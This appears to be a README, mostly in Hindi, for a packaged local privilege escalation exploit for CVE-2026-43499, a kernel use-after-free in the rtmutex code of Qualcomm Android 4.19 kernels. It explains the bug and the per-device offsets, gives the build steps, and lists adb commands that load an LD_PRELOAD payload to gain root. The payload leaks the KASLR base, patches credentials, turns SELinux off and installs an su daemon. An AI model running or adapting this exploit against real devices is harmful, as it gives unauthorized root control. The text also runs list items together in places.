
CVE-2026-43499 के लिए लोकल प्रिविलेज एस्केलेशन PoC, जो Qualcomm Android 4.19 कर्नेल में rtmutex use-after-free का उपयोग करता है, और root प्राप्त करने के लिए KASLR लीक तथा cred पैचिंग का इस्तेमाल करता है।
स्थानीय विशेषाधिकार वृद्धि जो CVE-2026-43499 का शोषण करती है — एक rtmutex
remove_waiter() बग जो वेटर के kernel स्टैक पर एक struct rt_mutex_waiter को
लटकता (dangling) छोड़ देता है (kernel/locking/rtmutex.c, CWE-416 use-after-free)।
NebuSec/CyberMeowfia
(IonStack/CVE-2026-43499, Apache-2.0) से एक Qualcomm Android 4.19.x
वेंडर kernel परिवार के लिए अनुकूलित।
4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)futex_requeue() proxy-lock रोलबैक remove_waiter() को कॉल करता है जो
waiter->task के बजाय current पर कार्य करता है — pi_lock के बिना
rb-tree dequeue, लटकता pi_blocked_on, जिससे kernel-stack UAF होता है।
5.10/5.15/6.1/6.6/6.12/6.18/7.0 फिक्स्ड वर्ज़न तक प्रभावित; 4.19 का
कोई backport नहीं (EOL), इसलिए 4.19.157-perf प्रभावित है।src/ अनुकूलित exploit स्रोत (preload.so)
src/targets/oplus-4.19.157-perf/target.h प्रति-डिवाइस ऑफ़सेट तालिका (kallsyms-व्युत्पन्न)
prebuilt/ संकलित आर्टिफ़ैक्ट (aarch64)
adaptation-4.19.patch अपस्ट्रीम Pixel (6.x) कोड के विरुद्ध पूर्ण diff
Makefile, build.sh बिल्ड एंट्री पॉइंट
configfs_read_file / configfs_write_bin_file को .read/.write
fops स्लॉट (4.19 हस्ताक्षर) पर रखा गया है, और read प्रिमिटिव सरलीकृत
count/page/ppos=0 फ़ेक-बफ़र लेआउट का उपयोग करता है/dev/ashmem) इस kernel पर अनुपस्थित है — उपसर्ग लंबाई 0selinux_blob_sizes 4.19 पर मौजूद नहीं है → सीधा cred->security
(SELINUX_CRED_BLOB_OFF=0); struct seccomp में filter_count नहीं हैASHMEM_MISC_FOPS = miscdevice.fops स्लॉट (ashmem_misc + 0x10)Android NDK के साथ Linux / WSL:
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # or: make PROJECT=oplus-4.19.157-perf
आउटपुट: prebuilt/preload.so (LD_PRELOAD पेलोड) और एक एम्बेडेड
su_daemon PIE।
एक ADB शेल की आवश्यकता है (एक सामान्य, अपरिविलेज्ड adb shell पर्याप्त है — exploit
पूरी तरह अपरिविलेज्ड चलता है और स्वयं को एस्केलेट करता है)।
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
वैकल्पिक वन-लाइनर वेरिएंट:
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
प्रत्येक pr_* पंक्ति को तत्काल write()+fsync() के साथ डिस्क पर मिरर किया जाता है ताकि
ट्रेल kernel panic/reboot के बाद भी बचा रहे:
/sdcard/Download/log_<timestamp>.txt
यदि /sdcard उपलब्ध न हो तो फ़ॉलबैक पथ: /sdcard/Downloads,
/data/local/tmp/log_<timestamp>.txt.
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
मुख्य लॉग मार्कर:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — पेलोड लोड हुआslide-kaslr-ok ... base=... — KASLR बेस पुनर्प्राप्तpipe-physrw-summary ... root=1 ... — phys RW इंस्टॉलuid_before=... uid_after=0 ... selinux=1->0 — creds पैच किए गएUNVERIFIED प्रिंट करता है — वह
चरण इस लॉग का उपयोग करके प्रति डिवाइस ट्यून करने वाला है।target.h में फ़्लैग किए गए हैं और रनटाइम पर
UNVERIFIED के रूप में लॉग किए जाते हैं। fsync लॉग का उपयोग करके डिवाइस पर पुनरावृत्ति करें।CONFIG_STATIC_USERMODEHELPER=y modprobe-path ट्रिक्स को अक्षम करता है;
प्राथमिक पथ सीधा cred पैचिंग है।/proc/kallsyms) और /proc/slabinfo के माध्यम से ऑफ़सेट की शुद्धता सत्यापित करें।Apache-2.0 (अपस्ट्रीम: NebuSec/CyberMeowfia)। केवल सुरक्षा अनुसंधान और अधिकृत डिवाइस रूटिंग के लिए। अपने स्वामित्व वाले हार्डवेयर पर उपयोग करें।